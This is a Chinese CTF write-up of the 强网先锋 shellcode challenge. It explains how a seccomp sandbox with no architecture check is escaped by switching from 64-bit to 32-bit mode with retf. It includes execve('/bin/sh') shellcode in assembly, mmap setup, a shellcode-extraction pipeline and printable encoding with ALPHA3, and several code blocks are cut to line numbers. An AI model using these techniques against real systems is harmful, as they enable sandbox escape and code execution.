强网先锋 shellcode
seccomp规则
值得注意的是
- 没有检查架构
- 没有检查sys_num是否越界
- 只有read,没有write
- 有系统调用号为5的 可切换到32位open
思路
- 可打印的shellcode1 完成read() jmp 接着就能控制执行流
- 用汇编边写边调 完成在 32bit open 64bit write 延时爆破
EXP
看了几个大佬的exp 复写了这个 因为这个exp条件要求低,更可控,会把参考的大佬内容放在下面
1 | #!/usr/bin/env python |
一些补充的
retf
CPU执行ret指令时,相当于进行
1
pop IP
CPU执行retf指令时,相当于进行:
1
2pop IP
pop Cs32bit cs 0x23
1
2
3
4
5
6
7
8
9
10
11;;nasm -f elf32 test_cs_32.asm
;;ld -m elf_i386 -o test_cs_32
global _start
_start:
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,11
int 0x8064bit cs 0x33
1
2
3
4
5
6
7
8
9
10
11;;nasm -f elf64 test_cs_64.asm
;;ld -m elf_x86_64 -o test_cs_64 test_cs_64.o
global _start
_start:
mov r10,0x0068732f6e69622f
push r10
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
syscall把断点打在 _start 上求证下
验证下 arch的切换
1 | ;;nasm -f elf64 test_64.asm |
用strace验证下完成了open
TIP 编译的时候老是输入同样的命令 不如放入一个shell script里
1
2
3
4
5nasm -f elf64 test.asm
ld -m elf_x86_64 -o test test.o
objdump -d test
echo "\n\n\n\nShellcode"
objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'64位到32位 arch切换时注意,64位下push 会压入一个8byte的数
如果1
2
3push 0x23
push addr
retf栈上会是
1
2rsp-> 00----addr----00
0000000000000023但是切换arch时要求
1
2esp-> 0-addr-0
00000023所以我采用了
1
2
3
4
5
6to32bit:
; retf to 32bit
push addr
mov r15,0x2300000000
add qword [rsp],r15
retf这样栈上是
1
2
3
4rsp-> 0-addr-023000000
//也就是
esp-> 0-addr-0
0000002332到64切换时
由于push的位4byte,直接1
2
3push 0x23
push addr
retf
mmap的使用
使用用mmap申请适合4byte的寄存器的地址
man mmap
void *mmap(void *addr, size_t length, int prot, int flags,int fd, off_t offset);
mmap | ||
---|---|---|
addr | 要申请的地址 | 建议四位 |
length | 从addr开始申请的长度 | 建议一页0x1000 |
prot | 权限 | 7 |
flags | 确定映射的更新是否对其他进程可见 | 0x22 |
fd | 映射到文件描述符fd | 0xFFFFFFFF |
offset | 映射偏移 | NULL |
alpha3的安装使用
安装和使用 会写在参考的链接里
python2 ~/tools/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input=/tmp/raw
这里边的raw是汇编后的二进制文件 而不是汇编语句的文件
- 怎么得到raw呢
1 | def toPrintable(raw): |
或者
前面汇编给的TIP中那个shell_script,然后 echo -en "\x90\x90" > /tmp/raw